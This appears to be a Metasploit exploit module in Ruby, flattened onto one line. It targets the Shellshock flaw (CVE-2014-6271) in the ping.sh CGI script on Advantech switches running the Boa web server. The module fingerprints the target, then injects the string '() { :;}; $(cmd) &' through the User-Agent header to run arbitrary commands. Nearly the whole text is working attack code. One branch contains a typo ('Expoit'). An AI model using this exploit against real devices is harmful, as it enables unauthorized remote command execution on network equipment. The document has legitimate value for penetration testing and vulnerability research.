Advantech Switch – ‘Shellshock’ Bash Environment Variable Command Injection (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)', 'Description' => %q{ This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets the 'ping.sh' CGI script, acessible through the Boa web server on Advantech switches. This module was tested against firmware version 1322_D1.98. }, 'Author' => 'hdm', 'References' => [ ['CVE', '2014-6271'], ['CWE', '94'], ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'], ['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] ], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0A\x0D", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl generic' } }, 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]], 'DefaultTarget' => 0, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Dec 01 2015' )) register_options([ Opt::RPORT(80) ], self.class) end # # CVE-2014-6271 # def cve_2014_6271(cmd) %{() { :;}; $(#{cmd}) & } end # # Check credentials # def check res = send_request_cgi( 'method' => 'GET', 'uri' => '/cgi-bin/ping.sh' ) if !res vprint_error("#{peer} - No response from host") return Exploit::CheckCode::Unknown elsif res.headers['Server'] =~ /Boa\/(.*)/ vprint_status("#{peer} - Found Boa version #{$1}") else print_status("#{peer} - Target is not a Boa web server") return Exploit::CheckCode::Safe end if res.body.to_s.index('127.0.0.1 ping statistics') return Exploit::CheckCode::Detected else vprint_error("#{peer} - Target does not appear to be an Advantech switch") return Expoit::CheckCode::Safe end end # # Exploit # def exploit cmd = cve_2014_6271(payload.encoded) vprint_status("#{peer} - Trying to run command '#{cmd}'") res = send_request_cgi( 'method' => 'GET', 'uri' => '/cgi-bin/ping.sh', 'agent' => cmd ) end end |